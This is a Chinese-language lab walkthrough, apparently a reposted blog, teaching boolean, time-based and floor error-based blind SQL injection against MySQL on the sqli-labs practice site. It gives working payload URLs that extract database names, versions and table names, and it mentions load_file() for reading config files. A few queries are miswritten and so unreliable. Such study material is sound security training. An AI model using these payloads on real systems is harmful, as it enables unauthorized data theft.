sql注入--盲注(布尔、时间、报错)

前提:

由于不返回数据库当中的数据,故采用盲注进行猜解。

布尔

构造逻辑判断

常用函数:

ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ //substr()函数, ascii()函数

length(str) : 返回给定字符串的长度,如  length("string")=6

substr(string,start,length) :截取字符串一部分,对于给定字符串string,从start位开始截取,截取length长度 ,如  substr("chinese",3,2)="in"

substr()、stbstring()、mid()  三个函数的用法、功能均一致

concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接

group_concat(username) :将username数据z查询在一起,用逗号连接

limit 0,1:查询第1个数        limit  1,1: 查询第2个数             limit  n,1: 查询第n+1个数

left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

left(a,b)从左侧截取a的前b位

load_file()函数应用:读取各种配置文件

延时注入:

// 判断当前数据库的第一个字符的ascii是否大于100,如果大于100,页面立马响应,否则3秒后响应

http://127.0.0.1/sqli/Less-9/?id=1' and if (ascii(substr(database(),1,1))>100,1,sleep(3))#

 

报错注入

使用函数让错误爆出来,在适当的地方插入SQL语句
 

sqli-labs实例:Less-5(单引号字符型+固定输出信息(floor报错注入&盲注))

输入单引号报错,判断存在注入点

http://192.168.89.131:86/Less-5/?id=1%27

sql注入--盲注(布尔、时间、报错)_第1张图片

但是不管输入什么正确的信息,页面均显示 You are in ...

这种情况union注入是行不通的。因为我们只能通过order by知道有3列,而不知道多少列是显示列。

sql注入--盲注(布尔、时间、报错)_第2张图片

这时候就可以考虑盲注了,可以通过页面是否显示来判断我们的输入是否正确,当我们的sql正确时,就显示you are in....。当我们的sql语句错误是,就不显示。以此找到注入点

HTTP://192.168.89.131:86/LESS-5/?id=1' and 1=2 --+
//and 1=2 就是注入点,就可以在注入点的位置插入判断语句
HTTP://192.168.89.131:86/LESS-5/?id=1' inject

使用布尔函数注入步骤

(1)利用left(database(),1)进行尝试:得出数据库名

查看一下 version(), 数据库的版本号为 5.6.17, 这里的语句的意思是看版本号的第一位是
不是 5, 明显的返回的结果是正确的。

http://192.168.89.131:86/Less-5/?id=1%27and%20left(version(),1)=5%23

改为4,显示错误。

接下来看一下数据库的长度

http://192.168.89.131:86/LESS-5/?id=1%27and%20length(database())=8%23

得出数据库长度为8

猜测数据库第一位,用left(database(),1)>'t',采用二分法得出首字母为s

HTTP://192.168.89.131:86/LESS-5/?id=1%27and%20left(database(),1)='s'%23

以此猜测数据库的第二位,看前两位是否大于 sa

(2)利用 substr() ascii()函数进行尝试:已知数据库名为security的情况下,得出数据库表,也可用database()

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
sql注入--盲注(布尔、时间、报错)_第3张图片

传送门--->ascii表对照表

以此利用二分法得到第二位第三位,表名为email

如何获得第二个表呢,上面的语句用到了limit 0,1,意思是从第0个开始获取第一个,那么要获取第二个就是limit 1,1.

以此类推得出所有的表

(3)利用regexp获取(2)中user表中的列

sql注入--盲注(布尔、时间、报错)_第4张图片

报错注入步骤

使用双注入步骤

floor报错注入。是利用count(),rand(),floor(),group by这几个函数结合在一起发生的漏洞

payload如下

// 我们可以将 user() 改成任何函数,以获取我们想要的信息
http://192.168.89.131:86/Less-5/?id=1'  and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
 
//将其分解
(select 1 from (Y)a)
 
Y= select count(*) from information_schema.tables group by concat(Z)
 
Z= user(),floor(rand(0)*2)

查出结果如下

sql注入--盲注(布尔、时间、报错)_第5张图片

 

时间的SQL盲注

利用sleep()或benchmark()等函数让MySQL时间变长,时间盲注多与if(expr1,expr2,expr3)结合使用,if语句的含义是:如果expr1是TRUE,则IF()的返回值为expr2;否则返回expr3。所以判断数据库名长度的语句为:

sql/test.php?id=1'+and+if(length(database())>1,sleep(5),1)  //猜测数据库长度
sql/test.php?id=1'+and+if(substr(database(),1,1)='s',sleep(5),1)  //猜测数据库名

如果数据库库名长度大于1,则MySQL查询休眠5秒,否则查询1。

可根据burpsuite中页面的响应时间,判断条件是否正确

也可使用堆叠注入

 

参考链接:

渗透(五)之MySQL的布尔注入

https://blog.csdn.net/qq_36119192/article/details/82049508

你可能感兴趣的:(数据库漏洞)